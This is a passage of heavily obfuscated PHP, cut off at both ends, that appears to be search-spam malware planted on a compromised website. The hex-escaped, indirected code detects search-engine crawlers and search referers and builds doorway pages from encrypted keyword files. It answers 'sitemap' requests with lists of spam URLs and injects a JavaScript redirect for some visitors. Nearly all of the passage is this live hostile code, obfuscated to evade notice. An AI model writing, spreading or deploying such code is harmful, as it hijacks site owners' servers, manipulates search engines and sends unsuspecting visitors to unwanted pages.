4fB\x41\x4c\x53"}["\x78\x66\x65\x6ak\x6c\x70k\x71"]}."/".${${"\x47\x4cO\x42\x41L\x53"}["\x62fm\x68b\x69\x70\x6b\x70\x6d\x64"]},"r");${"G\x4cO\x42\x41\x4c\x53"}["\x66\x75w\x73\x74\x65"]="t\x65s\x74";if(${${"\x47LO\x42A\x4c\x53"}["\x63f\x62\x79\x6bawt"]}&&@fgets(${${"G\x4c\x4fB\x41\x4c\x53"}["fu\x77\x73\x74\x65"]})){${${"\x47\x4cOB\x41\x4c\x53"}["\x70\x77x\x69\x69\x61m"]}=${${"\x47\x4cOB\x41\x4cS"}["f\x65d\x6a\x68yb\x78\x64"]}."/".${${"GL\x4fBAL\x53"}["c\x68evf\x63zd\x75\x6dg"]};}@fclose(${$rflqgj});}elseif(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x70q\x72\x62\x62\x77\x79\x71"]}==""and(preg_match("/img\\\x2e\x74mp\\\x2e\x74\x78t/i",strtolower(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x63h\x65v\x66c\x7ad\x75\x6dg"]}))==1||strpos(strtolower(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x63\x68\x65v\x66\x63\x7a\x64\x75\x6d\x67"]}),".\x69.\x74\x78\x74")>0)){${"\x47\x4c\x4f\x42\x41L\x53"}["\x64\x6avb\x67\x6e\x6b\x73"]="\x74\x65\x73t";${"\x47\x4c\x4f\x42\x41\x4cS"}["\x76\x6eknv\x74\x75\x73"]="t\x65s\x74";$tffustmefkb="o\x6ee_\x66\x69le";${"\x47\x4c\x4fB\x41\x4c\x53"}["\x79\x65\x79\x6aod\x69"]="\x74est";${${"G\x4cOB\x41L\x53"}["\x79\x65yj\x6fdi"]}=@fopen(${${"GLO\x42\x41\x4cS"}["fe\x64j\x68\x79\x62\x78\x64"]}."/".${$tffustmefkb},"\x72");if(${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x64jvbg\x6e\x6bs"]}&&@fgets(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["cf\x62y\x6ba\x77\x74"]})){$lbibbkebcbwl="\x6fne\x5ff\x69le";$fhrnembglkw="\x6fne\x5f\x66o\x6c\x64\x65\x72";${${"G\x4cOB\x41\x4c\x53"}["\x70\x71r\x62\x62\x77\x79\x71"]}=${$fhrnembglkw}."/".${$lbibbkebcbwl};}@fclose(${${"\x47\x4cO\x42\x41\x4c\x53"}["\x76n\x6b\x6e\x76tu\x73"]});}elseif(${${"\x47\x4cO\x42A\x4cS"}["jvs\x6e\x62bc"]}==""and(preg_match("/hre\x66\\\x2etmp\\.tx\x74/\x69",strtolower(${$vkgcmxc}))==1||strpos(strtolower(${$qjhpkgy}),"\x2e\x61.tx\x74")>0)){$dpcoyoj="te\x73\x74";${"G\x4cO\x42\x41L\x53"}["tp\x63w\x66k\x70\x76\x65\x68"]="\x6f\x6e\x65\x5f\x66\x69l\x65";${"\x47\x4cO\x42AL\x53"}["u\x73v\x63\x6f\x78z"]="t\x65\x73\x74";${"\x47\x4c\x4f\x42\x41\x4cS"}["k\x61c\x6cqy\x71m\x71o"]="\x74\x65\x73\x74";${${"GL\x4fB\x41\x4c\x53"}["\x75\x73\x76\x63\x6fx\x7a"]}=@fopen(${${"G\x4c\x4fBA\x4c\x53"}["\x66\x65\x64\x6ahyb\x78\x64"]}."/".${${"\x47\x4c\x4fB\x41\x4c\x53"}["t\x70\x63\x77\x66\x6bp\x76e\x68"]},"\x72");if(${$dpcoyoj}&&@fgets(${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x6b\x61cl\x71\x79\x71\x6d\x71\x6f"]})){${${"\x47\x4cOB\x41\x4cS"}["\x6f\x78\x66\x6b\x73\x71\x6c\x65n"]}=${${"\x47\x4c\x4fB\x41\x4cS"}["\x66e\x64\x6a\x68y\x62x\x64"]}."/".${${"\x47\x4cOB\x41\x4c\x53"}["\x63\x68\x65\x76f\x63\x7a\x64\x75\x6d\x67"]};}@fclose(${${"G\x4c\x4fBAL\x53"}["c\x66\x62y\x6b\x61\x77\x74"]});}elseif(${${"\x47\x4cO\x42ALS"}["\x6fs\x74\x73\x78\x6d\x79"]}==""and(preg_match("/\x73\x65\\\x2et\x6dp\x5c.tx\x74/\x69",strtolower(${${"\x47\x4c\x4f\x42\x41\x4cS"}["c\x68e\x76\x66\x63z\x64\x75\x6d\x67"]}))==1||strpos(strtolower(${$cnjwmdcny}),"\x2es\x2et\x78\x74")>0)){$bredvywa="\x74\x65st";$onwonx="\x74\x65\x73\x74";${"\x47L\x4f\x42\x41\x4cS"}["\x6c\x67\x74\x66\x71\x69o\x65\x64"]="\x74e\x73\x74";${$bredvywa}=@fopen(${${"G\x4cO\x42A\x4c\x53"}["\x66\x65\x64j\x68\x79\x62x\x64"]}."/".${${"\x47LO\x42ALS"}["ch\x65\x76\x66cz\x64u\x6d\x67"]},"r");if(${${"\x47\x4c\x4fB\x41\x4cS"}["\x63f\x62y\x6bawt"]}&&@fgets(${$onwonx})){$gggubcknn="\x6fn\x65_\x66\x6f\x6c\x64\x65r";${"G\x4c\x4fBAL\x53"}["\x6a\x72\x71umg\x77\x66\x67n\x70\x62"]="\x6f\x6e\x65_\x66\x69\x6ce";${${"\x47L\x4f\x42\x41\x4cS"}["\x6f\x73\x74sxm\x79"]}=${$gggubcknn}."/".${${"\x47\x4cO\x42\x41\x4c\x53"}["\x6ar\x71u\x6d\x67w\x66g\x6epb"]};}@fclose(${${"G\x4c\x4f\x42\x41\x4cS"}["\x6c\x67\x74\x66\x71\x69\x6f\x65\x64"]});}elseif(${$hmduytfkwvj}==""and preg_match("/i\x6e\x64\x65\x78\x5c.\x74\x6dp\x5c\x2eh\x74\x6d\x6c|\x5f\x63\x61\x63\x68\x65\x5c\x2ehtm\x6c/i",strtolower(${${"\x47LO\x42A\x4cS"}["\x63h\x65vfcz\x64\x75\x6d\x67"]}))==1){${"\x47\x4c\x4f\x42ALS"}["ec\x77i\x79\x6aa\x78p\x64\x6cq"]="\x6fn\x65\x5f\x66\x6f\x6cd\x65\x72";${"\x47\x4cO\x42A\x4cS"}["rtwb\x6d\x76\x77\x6d\x78\x73j\x6d"]="\x74\x65\x73t";${${"\x47\x4cO\x42\x41\x4c\x53"}["\x63fb\x79k\x61\x77t"]}=@fopen(${${"\x47\x4cO\x42\x41L\x53"}["\x65c\x77\x69yja\x78\x70\x64\x6c\x71"]}."/".${${"\x47\x4c\x4fB\x41\x4cS"}["\x63\x68\x65\x76\x66\x63zd\x75\x6dg"]},"r");if(${${"GL\x4fB\x41\x4c\x53"}["\x72tw\x62\x6dvw\x6dx\x73j\x6d"]}&&@fgets(${${"\x47\x4cO\x42\x41\x4c\x53"}["\x63fby\x6b\x61w\x74"]})){$ubqwmqxv="\x6f\x6ee_\x66ol\x64\x65r";${${"\x47\x4cO\x42\x41\x4c\x53"}["\x72\x79h\x73\x6f\x66\x7a\x6b"]}=${$ubqwmqxv}."/".${${"G\x4c\x4f\x42\x41\x4cS"}["\x63\x68\x65v\x66\x63z\x64\x75\x6dg"]};}@fclose(${${"G\x4cOB\x41\x4c\x53"}["\x63\x66b\x79k\x61\x77\x74"]});}}}@closedir(${${"\x47\x4c\x4f\x42AL\x53"}["a\x77n\x77\x76jpp\x69a\x63\x63"]});}}${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x79\x64\x74\x65\x67\x66\x75"]}=false;if(preg_match("/go\x6fgle\x67o/i",${${"\x47\x4c\x4fBA\x4cS"}["\x73\x61\x6d\x78qo\x67\x70\x7a"]})==1){${${"\x47\x4cO\x42\x41\x4cS"}["\x79d\x74\x65\x67\x66u"]}=true;}elseif(preg_match("/(\x67\x6fo\x67\x6c\x65\x5c.|\x62\x69\x6e\x67\x5c\x2e|\x61o\x6c\\\x2e|ya\x68oo\\\x2e)/\x69",${${"GL\x4f\x42A\x4c\x53"}["\x73\x61mxq\x6f\x67p\x7a"]})==1){$izzzjupwk="r\x65\x66er\x65\x72";${"\x47\x4c\x4fB\x41\x4c\x53"}["q\x77\x6a\x6d\x73\x75\x6eaf"]="\x6bc";if(isset($_GET[${${"\x47\x4c\x4f\x42A\x4cS"}["\x71wj\x6dsu\x6e\x61\x66"]}])||preg_match("/(g\x6fogl\x65\\\x2e\x63\x6f\\\x2ejp|y\x61\x68\x6f\x6f\\.\x63\x6f\x5c.\x6ap)/\x69",${$izzzjupwk})==1){${${"\x47LO\x42A\x4cS"}["\x79\x64\x74\x65\x67\x66\x75"]}=true;}elseif(${${"\x47\x4c\x4fB\x41\x4c\x53"}["o\x73\x74\x73\x78\x6dy"]}!=""){$muttlpl="\x73\x65_\x6c\x69\x6e\x65\x73";${$muttlpl}=@file(${${"G\x4cO\x42\x41\x4cS"}["\x6f\x73ts\x78m\x79"]});foreach(${${"G\x4c\x4f\x42\x41L\x53"}["\x6c\x6co\x70\x71\x6au\x74\x76\x6bq"]} as${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x75r\x64\x65\x76\x71"]}){$sgpnrnlk="s\x65";if(strpos(strtolower(${${"\x47L\x4fB\x41\x4c\x53"}["\x73\x61m\x78\x71\x6f\x67\x70\x7a"]}),strtolower(trim(${$sgpnrnlk})))!==false){${"\x47\x4c\x4fB\x41\x4c\x53"}["tp\x6b\x66\x67\x66\x61k\x72"]="y\x6f\x75\x5f\x73\x68o\x75\x6c\x64\x5f\x72edir\x65\x63\x74";${${"GL\x4f\x42\x41\x4c\x53"}["\x74\x70\x6bf\x67f\x61\x6b\x72"]}=true;break;}}}else{${${"\x47\x4c\x4f\x42A\x4c\x53"}["y\x64\x74\x65\x67\x66u"]}=false;}}${${"\x47\x4cO\x42\x41\x4c\x53"}["m\x76r\x64\x73u\x70"]}="<\x73c\x72ip\x74 \x74\x79pe\x3d't\x65xt/\x6a\x61\x76as\x63r\x69\x70t\x27>set\x54i\x6de\x6fut(\"w\x69n\x64ow.l\x6f\x63a\x74\x69o\x6e=\x27".${$ilgbvjqcs}."'\",0\x3000000000);</\x73\x63r\x69pt>";if(${${"G\x4c\x4f\x42A\x4cS"}["p\x77\x78i\x69\x61\x6d"]}!=""){if(isset($_GET["\x73\x69t\x65m\x61\x70"])AND isset($_GET["p"])){${"\x47L\x4f\x42ALS"}["\x65b\x71d\x73\x74\x66\x62n"]="\x74mp\x6c\x46\x4e\x61me";${"\x47L\x4fBAL\x53"}["\x6a\x65\x76\x71ql\x6b\x6f\x6eg\x63t"]="\x66\x69\x6c\x65";@header("\x63on\x74\x65n\x74-t\x79\x70e:te\x78t/\x68\x74\x6d\x6c;\x63har\x73et\x3d\x75t\x66-\x38");${${"\x47LO\x42\x41LS"}["je\x76q\x71\x6ck\x6f\x6e\x67\x63t"]}=@fopen(${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x65\x62\x71\x64\x73\x74fb\x6e"]},"r");$rvjcnq="\x69";${${"G\x4c\x4fB\x41\x4c\x53"}["\x78\x6c\x73\x73n\x64"]}=intval($_GET["\x70"]);${${"G\x4c\x4fBAL\x53"}["\x63\x6eo\x6cybu"]}=@filesize(${${"G\x4c\x4f\x42A\x4cS"}["pw\x78i\x69a\x6d"]});for(${${"\x47L\x4f\x42\x41\x4cS"}["\x7a\x70v\x6au\x69q"]}=0;${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x7ap\x76\x6a\x75\x69\x71"]}<5000;${$rvjcnq}++){${"GLO\x42\x41\x4c\x53"}["\x65r\x74\x77\x79\x6f\x6dn\x76\x65"]="\x73i\x7a\x65";$zqbrijmfnsk="f\x69\x6c\x65";@fseek(${${"\x47\x4cO\x42\x41\x4cS"}["\x6b\x72\x62\x6b\x68s\x72\x68wjx"]},rand(0,${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x65\x72\x74\x77\x79\x6f\x6dn\x76\x65"]}));if(!feof(${$zqbrijmfnsk})){@fgets(${${"\x47\x4cO\x42ALS"}["kr\x62\x6b\x68s\x72h\x77\x6a\x78"]});if(!feof(${${"\x47L\x4f\x42AL\x53"}["\x6brb\x6bhs\x72h\x77\x6ax"]})){${"\x47\x4c\x4fB\x41\x4c\x53"}["\x78\x77\x73\x69dkav\x76\x64\x71"]="\x66\x69\x6c\x65";$arlubimju="\x6cin\x65";${$arlubimju}=decrypt_str(@fgets(${${"\x47\x4c\x4f\x42A\x4c\x53"}["x\x77\x73\x69\x64\x6b\x61\x76v\x64\x71"]}));${"\x47\x4c\x4f\x42\x41\x4c\x53"}["ltlx\x77\x78\x6fp"]="l\x69\x6ee";if(${${"G\x4c\x4fBAL\x53"}["\x6c\x74l\x78\x77\x78\x6fp"]}){if(isset($_GET["file"])){$ddbkkcrsed="k\x63";echo("\x68\x74\x74\x70://".$_SERVER["S\x45R\x56ER\x5f\x4e\x41M\x45"].$_GET["\x66i\x6ce"]."?".${$ddbkkcrsed}."=".str_replace("\x20","-",${${"G\x4c\x4fBA\x4cS"}["o\x72\x72\x79\x75\x6d\x73\x72u"]})."\n");}else{${"\x47\x4c\x4fB\x41L\x53"}["\x65g\x6dv\x6fj\x70t"]="\x6c\x69\x6ee";echo("h\x74\x74\x70://".$_SERVER["\x53\x45\x52\x56\x45\x52\x5f\x4e\x41\x4d\x45"].$_SERVER["\x53C\x52\x49P\x54\x5f\x4e\x41\x4d\x45"]."?".${${"G\x4c\x4f\x42\x41\x4c\x53"}["z\x73\x69\x6a\x63\x6b\x63fo\x73"]}."\x3d".str_replace("\x20","-",${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x65\x67mv\x6fjp\x74"]})."\n");}}}}}@fclose(${${"\x47\x4cO\x42\x41\x4c\x53"}["\x6br\x62\x6b\x68sr\x68w\x6a\x78"]});exit();}else{${"\x47L\x4fBA\x4cS"}["\x76\x68\x6d\x6d\x6d\x73ldv\x63c"]="k\x63";$omotybwf="\x79\x6fu_\x73\x68ou\x6c\x64\x5f\x72ed\x69\x72e\x63\x74";if(preg_match("/(\x67\x6f\x6f\x67\x6c\x65bot|\x79\x61\x68oo|\x62\x69\x6e\x67|\x6d\x73\x6eb\x6ft|ao\x6c|linu\x78 \x788\x36_\x364)/\x69",$_SERVER["\x48TTP_\x55\x53\x45\x52_A\x47\x45NT"])||isset($_GET[${${"\x47\x4c\x4fB\x41\x4cS"}["\x76\x68\x6d\x6d\x6d\x73\x6c\x64\x76c\x63"]}])||${${"GLO\x42A\x4cS"}["cr\x72ck\x75\x61p\x6f\x73\x65a"]}||${$omotybwf}){$mkslyhui="\x74m\x70\x6c\x46\x4e\x61m\x65";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x64\x6dw\x6epw\x67\x65"]="t\x69\x74l\x65";$vagkckagpxgr="i";$uqshqtgxambs="\x6b\x63";${"GL\x4f\x42AL\x53"}["\x77\x6f\x62c\x65\x6ekq\x76b\x63"]="\x66\x69\x6c\x65";${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6b\x73\x6b\x70\x62q\x6el\x6e\x62\x68"]="\x68r\x65\x66\x5ffi\x6c\x65\x5f\x6e\x61me";${${"\x47\x4c\x4f\x42AL\x53"}["\x75\x69\x76\x68\x67\x71\x7ah\x77r\x76"]}=@file(${${"G\x4c\x4f\x42A\x4c\x53"}["\x6bs\x6bp\x62qn\x6c\x6eb\x68"]});${${"\x47L\x4f\x42\x41\x4cS"}["\x77\x6f\x62ce\x6e\x6b\x71\x76\x62c"]}=@fopen(${$mkslyhui},"r");${${"GLO\x42A\x4c\x53"}["d\x6d\x77\x6e\x70\x77g\x65"]}="";${"G\x4c\x4f\x42\x41\x4c\x53"}["\x71o\x70\x6cyq\x79\x62"]="\x6b\x65y\x77\x6fr\x64\x73";if(isset($_GET[${$uqshqtgxambs}])){${${"\x47L\x4f\x42\x41\x4cS"}["inq\x62h\x64\x69\x78"]}=str_replace("-","\x20",$_GET[${${"G\x4c\x4fBA\x4c\x53"}["z\x73\x69\x6a\x63\x6bc\x66os"]}]);}$knxjdmmbjrf="\x79\x6f\x75_\x73\x68\x6fu\x6cd\x5f\x72\x65d\x69re\x63t";${${"\x47L\x4fB\x41\x4c\x53"}["l\x65\x6c\x6bvz\x61\x78"]}="";${${"\x47L\x4fB\x41L\x53"}["\x7ap\x76j\x75i\x71"]}=0;${${"\x47\x4c\x4fB\x41\x4cS"}["t\x6b\x6a\x6c\x6c\x68yv\x64\x6d"]}=rand(40,80);${${"G\x4c\x4fB\x41L\x53"}["ssh\x68\x72\x6c"]}=array();while(${$vagkckagpxgr}<${${"\x47\x4cOB\x41\x4c\x53"}["t\x6b\x6al\x6c\x68\x79v\x64\x6d"]}){$pzsixvvzs="\x74\x6d\x70\x6c\x46N\x61\x6de";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x64\x7a\x6bfu\x65k\x72\x77"]="\x66\x69\x6c\x65";@fseek(${${"\x47\x4c\x4f\x42ALS"}["k\x72b\x6bh\x73\x72\x68w\x6ax"]},rand(0,@filesize(${$pzsixvvzs})-1024));@fgets(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x64\x7a\x6b\x66u\x65\x6b\x72w"]});if(!feof(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6b\x72b\x6bh\x73\x72\x68wj\x78"]})){${"G\x4c\x4f\x42A\x4c\x53"}["\x71q\x78\x6d\x6e\x6c\x6fw\x79\x6f\x75\x64"]="\x6c\x69\x6ee";$lyjbxva="\x63";$tjsfxgu="\x74\x69\x74\x6c\x65";${"GL\x4f\x42A\x4c\x53"}["l\x62\x68\x64\x6b\x62p\x62\x62"]="\x6c\x69\x6ee";$llfoolcc="i";${${"G\x4c\x4f\x42\x41\x4c\x53"}["o\x72ryumsr\x75"]}=decrypt_str(@fgets(${${"G\x4c\x4fB\x41\x4cS"}["kr\x62\x6b\x68\x73r\x68\x77\x6a\x78"]}));$chteuofyitp="\x6c\x69\x6e\x65";${"G\x4c\x4f\x42AL\x53"}["\x6eten\x68\x6b\x71"]="\x6c\x69\x6e\x65";$ktokdohoqq="k\x65\x79\x77\x6f\x72d\x73";array_push(${$ktokdohoqq},${${"\x47\x4c\x4f\x42A\x4c\x53"}["q\x71\x78\x6dnlo\x77y\x6f\x75\x64"]});$amdnltkjo="\x63";${$llfoolcc}++;${"G\x4c\x4fB\x41\x4c\x53"}["z\x67\x61\x6c\x69nm\x6bf\x70l"]="\x70";${"\x47\x4cO\x42\x41\x4c\x53"}["\x63\x65w\x72kk\x61t"]="\x74\x6f\x74\x61\x6c";${$amdnltkjo}=${$chteuofyitp};if(!${$tjsfxgu})${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x69\x6eq\x62h\x64\x69\x78"]}=${$lyjbxva};${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x7ag\x61lin\x6dk\x66\x70l"]}=rand(1,10)>9;$wywpfacxxei="\x6c\x69\x6e\x65";if(rand(1,5)>4){$clnwhqnelvbp="\x6c\x69n\x65";${$clnwhqnelvbp}="<s\x70\x61\x6e>".${${"GL\x4f\x42AL\x53"}["\x6f\x72\x72\x79u\x6d\x73\x72u"]}."\x3c/s\x70\x61n\x3e";}elseif(rand(1,8)>7){${${"GLO\x42\x41\x4cS"}["o\x72\x72\x79\x75\x6ds\x72\x75"]}="\x3c\x70re\x3e".${${"\x47L\x4fBA\x4c\x53"}["or\x72\x79\x75m\x73ru"]}."\x3c/pre>";}elseif(rand(1,5)>4){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6e\x69\x6a\x67\x79mm\x79\x77"]="\x6c\x69\x6e\x65";$vlduglkp="li\x6e\x65";${${"GL\x4f\x42A\x4c\x53"}["n\x69j\x67\x79\x6d\x6dy\x77"]}="<\x65\x6d\x3e".${$vlduglkp}."</\x65m\x3e";}if((${${"\x47\x4c\x4fB\x41\x4cS"}["\x7a\x70v\x6a\x75\x69q"]}%(${${"\x47L\x4fB\x41\x4cS"}["\x74\x6bjl\x6c\x68y\x76d\x6d"]}/6))==4){if(${${"\x47\x4cO\x42\x41\x4c\x53"}["\x75\x69v\x68g\x71\x7a\x68\x77\x72v"]}){${"\x47\x4c\x4fB\x41LS"}["\x6f\x71y\x76xf\x6e\x65bb"]="hr\x65f\x5f\x6c\x69\x6e\x65\x73";$lqdqvtroj="\x6cin\x65";${${"GL\x4f\x42\x41L\x53"}["\x6f\x72\x72\x79\x75\x6d\x73\x72\x75"]}=("\x3c\x61 hr\x65f=\"".${${"\x47\x4cO\x42\x41\x4cS"}["\x6fqy\x76x\x66\x6e\x65\x62\x62"]}[array_rand(${${"\x47\x4c\x4fB\x41\x4cS"}["\x75\x69\x76h\x67q\x7a\x68w\x72\x76"]})]."\" \x61l\x74=\"".${${"G\x4c\x4f\x42A\x4c\x53"}["\x75q\x76\x64\x6c\x77x\x63\x69q"]}."\">".${$lqdqvtroj}."</a>");}else{$vsbckucjxo="\x63";${"\x47\x4cO\x42\x41L\x53"}["f\x75\x66jm\x68\x6dgp"]="\x63";${${"\x47\x4c\x4fBAL\x53"}["o\x72r\x79\x75\x6d\x73ru"]}=("<\x61 \x68\x72e\x66\x3d\x22?".${${"G\x4c\x4f\x42A\x4cS"}["\x7a\x73\x69jc\x6b\x63fos"]}."=".str_replace(" ","-",${$vsbckucjxo})."\"\x20\x61lt=\x22".${${"\x47\x4c\x4f\x42A\x4c\x53"}["f\x75fjmhm\x67\x70"]}."\"\x3e".${${"\x47LO\x42A\x4cS"}["\x6f\x72\x72\x79um\x73\x72u"]}."</a>");}}elseif((${${"\x47\x4c\x4f\x42A\x4cS"}["\x7a\x70vj\x75\x69\x71"]}%(${${"\x47\x4c\x4fB\x41L\x53"}["c\x65w\x72\x6b\x6b\x61\x74"]}/6))==5){$etunqorg="im\x67_f\x69\x6ce\x5fna\x6d\x65";if(${$etunqorg}!=""){$qyejgbvf="i\x6d\x67_\x66\x69le\x5f\x6e\x61m\x65";${"\x47L\x4fB\x41\x4cS"}["\x63\x73vc\x78\x69"]="r\x61w\x5fi\x6d\x67\x5f\x6c\x69\x6e\x65";${"\x47L\x4f\x42ALS"}["\x72\x6e\x76\x67\x7a\x63d\x6eo\x69"]="im\x67\x5f\x66\x69\x6c\x65";$rdooutrowrmh="\x66\x69\x6ce";${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6a\x6f\x6d\x75\x68l\x73z\x63o"]}=@fopen(${$qyejgbvf},"r");$htzddjjeikcc="\x72\x61w_i\x6d\x67\x5f\x6c\x69\x6ee";@fseek(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6a\x6fm\x75\x68\x6c\x73\x7ac\x6f"]},@ftell(${$rdooutrowrmh})%(@filesize(${${"G\x4c\x4f\x42A\x4cS"}["\x70q\x72bbwyq"]})-1024));${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x65\x71e\x64\x63\x63\x65og\x67"]="\x69\x6dg_f\x69l\x65";${"GL\x4f\x42\x41\x4c\x53"}["\x64\x6e\x67h\x6cw\x71\x69\x6e\x66\x79"]="i\x6d\x67\x5f\x66\x69\x6c\x65";@fgets(${${"G\x4c\x4fB\x41L\x53"}["\x64n\x67\x68l\x77q\x69\x6e\x66\x79"]});${$htzddjjeikcc}=@fgets(${${"G\x4cOB\x41\x4c\x53"}["\x65\x71e\x64c\x63\x65\x6f\x67\x67"]});if(preg_match("/>|</i",${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x63\x73\x76\x63xi"]})!=1){$ngwyogymod="ra\x77\x5f\x69\x6dg\x5f\x6c\x69\x6ee";${"G\x4c\x4f\x42\x41L\x53"}["\x70\x71\x76j\x63\x72\x6a"]="\x72aw\x5f\x69\x6d\x67\x5f\x6ci\x6ee";${$ngwyogymod}=decrypt_str(${${"\x47L\x4f\x42\x41\x4c\x53"}["\x70q\x76j\x63\x72j"]});}${${"\x47LO\x42AL\x53"}["\x6fr\x72\x79\x75m\x73\x72\x75"]}.="\x3c\x70\x3e".${${"G\x4c\x4fBA\x4c\x53"}["\x67s\x79\x6a\x61\x63\x69\x79j"]}."</p>";@fclose(${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x72n\x76\x67\x7a\x63\x64n\x6fi"]});}}if(!${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x78\x6c\x73snd"]} AND(rand(1,4)>2)){${${"G\x4c\x4fBA\x4cS"}["or\x72\x79um\x73\x72\x75"]}=${${"GL\x4f\x42\x41\x4cS"}["\x6f\x72r\x79\x75\x6ds\x72u"]}.".\x20";}if(${${"\x47\x4c\x4fBAL\x53"}["\x78\x6c\x73\x73\x6e\x64"]})${$wywpfacxxei}="<p>".${${"\x47\x4cOB\x41\x4c\x53"}["\x6e\x74en\x68\x6b\x71"]}."</\x70\x3e";${${"\x47\x4cO\x42\x41LS"}["le\x6c\x6b\x76\x7a\x61\x78"]}.=${${"\x47\x4cO\x42\x41\x4cS"}["\x6c\x62\x68d\x6b\x62\x70bb"]};}}@fclose(${${"\x47\x4c\x4f\x42\x41L\x53"}["\x6brb\x6b\x68sr\x68\x77\x6a\x78"]});if(${$knxjdmmbjrf}&&!${${"GL\x4f\x42\x41L\x53"}["c\x72\x72\x63k\x75ap\x6f\x73ea"]}&&preg_match("/\x6ci\x6e\x75\x78 x8\x36\x5f\x364/i",$_SERVER["\x48\x54TP_US\x45R_\x41\x47\x45\x4e\x54"])!=1){$vtuqmdm="con\x74\x65\x6et";$poopyxoeckq="\x6a\x75mp_s\x74\x72";$gtsxwdlzxu="c\x6fnt\x65\x6et";${$gtsxwdlzxu}=${$poopyxoeckq}.${$vtuqmdm};}if(${${"\x47L\x4f\x42A\x4c\x53"}["r\x79hs\x6ffzk"]}!=""){$rdkeudhv="\x63o\x6e\x74\x65\x6et";$vtijushwchs="\x66\x69\x6ce";${"\x47L\x4f\x42A\x4c\x53"}["a\x66gyu\x69\x63\x6c\x6d\x73"]="\x66\x69\x6c\x65";$kyecoknlm="\x63\x6f\x6ete\x6e\x74";$uxydnsjtrkt="\x63\x6f\x6e\x74\x65\x6et";${${"\x47\x4cO\x42\x41\x4cS"}["k\x72\x62kh\x73rh\x77\x6ax"]}=@fopen(${${"\x47\x4c\x4f\x42\x41LS"}["\x72\x79h\x73\x6f\x66\x7ak"]},"r");${"\x47\x4c\x4f\x42\x41\x4cS"}["\x6d\x69\x77\x6b\x63\x65\x70v\x76xn"]="\x74\x6dp\x6cCo\x6e\x74\x65nt";${"\x47\x4c\x4f\x42A\x4c\x53"}["\x77\x71\x65f\x65mm\x72dbn\x6a"]="\x68\x74m\x6c_fi\x6c\x65\x5fn\x61m\x65";${${"\x47\x4cO\x42\x41L\x53"}["\x6a\x75\x64zt\x68\x79"]}=@fread(${$vtijushwchs},filesize(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x77q\x65\x66e\x6d\x6d\x72d\x62\x6e\x6a"]}));@fclose(${${"\x47\x4c\x4f\x42\x41L\x53"}["\x61f\x67yui\x63\x6c\x6d\x73"]});$gomjgqeq="\x74i\x74\x6ce";if(preg_match("/#\x63o\x6e\x74ent\x23/\x69",${${"\x47LO\x42AL\x53"}["\x6a\x75d\x7a\x74h\x79"]})!=1&&preg_match("/\x23ti\x74le1\x23/i",${${"\x47\x4c\x4f\x42A\x4c\x53"}["mi\x77\x6bc\x65\x70v\x76x\x6e"]})!=1){${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x6aud\x7at\x68\x79"]}="\x3ch\x31\x3e#\x74i\x74\x6ce#\x3c/h1\x3e#co\x6et\x65nt\x23";}${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6c\x65l\x6bvz\x61\x78"]}=str_replace("\x23co\x6et\x65\x6e\x74\x23",${$uxydnsjtrkt},${${"\x47\x4c\x4fBAL\x53"}["\x6a\x75\x64z\x74\x68y"]});${$kyecoknlm}=str_replace("#\x74\x69tl\x65#",${$gomjgqeq},${$rdkeudhv});}if(sizeof(${${"\x47LOB\x41L\x53"}["\x71\x6fp\x6c\x79\x71y\x62"]})>0){${"\x47L\x4fB\x41\x4cS"}["g\x66\x6ey\x6ag\x65w\x69n\x63"]="c\x6f\x6e\x74\x65\x6et";${"\x47\x4cO\x42\x41\x4cS"}["\x67\x65\x68mn\x79vuzs"]="y\x6f\x75\x5f\x73\x68\x6f\x75l\x64_\x72\x65\x64\x69r\x65ct";$ibsiotc="t\x32";${"GLO\x42A\x4cS"}["\x73\x6f\x68\x6c\x6c\x65g\x74\x71\x70h"]="\x63\x6f\x6e\x74\x65n\x74";while((${${"G\x4c\x4fBA\x4cS"}["z\x6a\x6d\x76\x6e\x6f\x74\x65\x74\x69"]}=strpos(${${"\x47\x4cOBA\x4c\x53"}["\x73o\x68\x6c\x6c\x65\x67\x74qph"]},"#ti\x74\x6ce1\x23"))!==false){${${"\x47\x4c\x4f\x42\x41L\x53"}["\x6c\x65\x6ckvzax"]}=substr_replace(${${"\x47L\x4fB\x41\x4c\x53"}["le\x6c\x6b\x76\x7aa\x78"]},${${"\x47\x4cOB\x41L\x53"}["\x73\x73\x68\x68\x72l"]}[array_rand(${${"\x47\x4c\x4f\x42AL\x53"}["\x73\x73\x68\x68\x72\x6c"]})],${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x7a\x6am\x76\x6e\x6ft\x65\x74\x69"]},strlen("#t\x69tl\x651\x23"));}while((${$ibsiotc}=strpos(${${"G\x4c\x4f\x42\x41\x4cS"}["\x67\x66\x6e\x79j\x67ew\x69\x6e\x63"]},"#\x6c\x69\x6e\x6b\x31\x23"))!==false){$irjsgtmlfrv="\x63";$enlrvolyvrcr="c";${"\x47\x4cOBA\x4c\x53"}["ynq\x67\x79p\x67\x63\x70\x67h"]="\x68\x72e\x66";${$irjsgtmlfrv}=${${"\x47L\x4fBA\x4c